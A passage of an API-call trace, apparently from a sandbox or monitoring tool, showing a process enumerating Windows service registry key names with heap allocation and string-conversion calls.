[0246.394] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.394] RegEnumKeyW (in: hKey=0x154, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0246.394] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0246.394] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0246.394] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.394] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.394] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.394] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.394] RegEnumKeyW (in: hKey=0x154, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0246.394] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0246.394] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0246.394] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.394] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.394] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.394] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.394] RegEnumKeyW (in: hKey=0x154, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0246.395] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.395] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0246.395] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.395] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0246.395] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.395] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.395] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.395] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.395] RegEnumKeyW (in: hKey=0x154, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0246.395] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.395] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0246.395] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.395] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0246.395] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.395] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.395] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.395] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.395] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0246.395] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.395] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0246.395] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.395] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0246.395] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.395] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.395] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.395] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.395] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0246.395] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.395] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0246.395] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.395] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f19b8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0246.396] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.396] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.396] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.396] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.396] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0246.396] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.396] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0246.396] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.396] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1970, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0246.396] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.396] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.396] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.396] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.396] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0246.396] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.396] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0246.396] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.396] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f19b8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0246.396] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0246.396] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0246.396] RegEnumKeyW (in: hKey=0x154, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0246.397] RegEnumKeyW (in: hKey=0x154, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0246.397] RegEnumKeyW (in: hKey=0x154, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0246.397] RegEnumKeyW (in: hKey=0x154, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0246.397] RegEnumKeyW (in: hKey=0x154, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0246.397] RegEnumKeyW (in: hKey=0x154, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0246.397] RegEnumKeyW (in: hKey=0x154, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0246.397] RegEnumKeyW (in: hKey=0x154, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0246.397] RegEnumKeyW (in: hKey=0x154, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0246.397] RegEnumKeyW (in: hKey=0x154, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0246.397] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0246.397] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0246.397] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0246.397] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0246.398] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0246.398] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0246.398] RegEnumKeyW (in: hKey=0x154, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0246.398] RegEnumKeyW (in: hKey=0x154, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0246.398] RegEnumKeyW (in: hKey=0x154, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0246.398] RegEnumKeyW (in: hKey=0x154, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0246.398] RegEnumKeyW (in: hKey=0x154, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0246.398] RegEnumKeyW (in: hKey=0x154, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0246.398] RegEnumKeyW (in: hKey=0x154, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0246.398] RegEnumKeyW (in: hKey=0x154, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0246.398] RegEnumKeyW (in: hKey=0x154, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0246.398] RegEnumKeyW (in: hKey=0x154, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0246.398] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0246.399] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0246.399] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0246.399] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0246.399] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0246.399] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0246.399] RegEnumKeyW (in: hKey=0x154, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0246.399] RegEnumKeyW (in: hKey=0x154, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0246.399] RegEnumKeyW (in: hKey=0x154, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0246.399] RegEnumKeyW (in: hKey=0x154, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0246.399] RegEnumKeyW (in: hKey=0x154, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0246.399] RegEnumKeyW (in: hKey=0x154, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0246.399] RegEnumKeyW (in: hKey=0x154, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0246.399] RegEnumKeyW (in: hKey=0x154, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0246.400] RegEnumKeyW (in: hKey=0x154, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0246.400] RegEnumKeyW (in: hKey=0x154, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0246.400] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0246.400] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0246.400] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0246.400] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0246.400] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0246.400] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0246.400] RegEnumKeyW (in: hKey=0x154, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0246.400] RegEnumKeyW (in: hKey=0x154, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0246.400] RegEnumKeyW (in: hKey=0x154, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0246.400] RegEnumKeyW (in: hKey=0x154, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0246.400] RegEnumKeyW (in: hKey=0x154, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0246.401] RegEnumKeyW (in: hKey=0x154, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0246.401] RegEnumKeyW (in: hKey=0x154, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0246.401] RegEnumKeyW (in: hKey=0x154, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0246.401] RegEnumKeyW (in: hKey=0x154, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0246.401] RegEnumKeyW (in: hKey=0x154, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0246.401] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0246.401] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0246.401] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0246.401] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0246.401] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0246.401] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0246.401] RegEnumKeyW (in: hKey=0x154, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0246.401] RegEnumKeyW (in: hKey=0x154, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0246.402] RegEnumKeyW (in: hKey=0x154, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0246.402] RegEnumKeyW (in: hKey=0x154, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0246.402] RegEnumKeyW (in: hKey=0x154, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0246.402] RegEnumKeyW (in: hKey=0x154, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0246.402] RegEnumKeyW (in: hKey=0x154, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0246.402] RegEnumKeyW (in: hKey=0x154, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0246.402] RegEnumKeyW (in: hKey=0x154, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0246.402] RegEnumKeyW (in: hKey=0x154, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0246.402] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0246.402] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0246.402] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0246.402] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0246.402] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0246.403] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0246.403] RegEnumKeyW (in: hKey=0x154, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0246.403] RegEnumKeyW (in: hKey=0x154, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0246.403] RegEnumKeyW (in: hKey=0x154, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0246.403] RegEnumKeyW (in: hKey=0x154, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0246.403] RegEnumKeyW (in: hKey=0x154, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0246.403] RegEnumKeyW (in: hKey=0x154, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0246.403] RegEnumKeyW (in: hKey=0x154, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0246.403] RegEnumKeyW (in: hKey=0x154, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0246.403] RegEnumKeyW (in: hKey=0x154, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0246.403] RegEnumKeyW (in: hKey=0x154, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0246.403] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0246.403] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0246.404] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0246.404] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0246.404] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0246.404] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0246.404] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0246.404] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0246.404] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0246.404] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0246.404] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0246.404] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0246.404] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0246.404] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0246.404] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0246.404] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0246.405] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0246.405] RegEnumKeyW (in: hKey=0x154, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0246.405] RegEnumKeyW (in: hKey=0x154, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0246.405] RegEnumKeyW (in: hKey=0x154, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0246.405] RegEnumKeyW (in: hKey=0x154, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0246.405] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0246.405] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0246.405] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0246.405] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0246.405] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0246.405] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0246.405] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0246.405] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0246.406] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0246.406] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0246.406] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0246.406] RegEnumKeyW (in: hKey=0x154, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 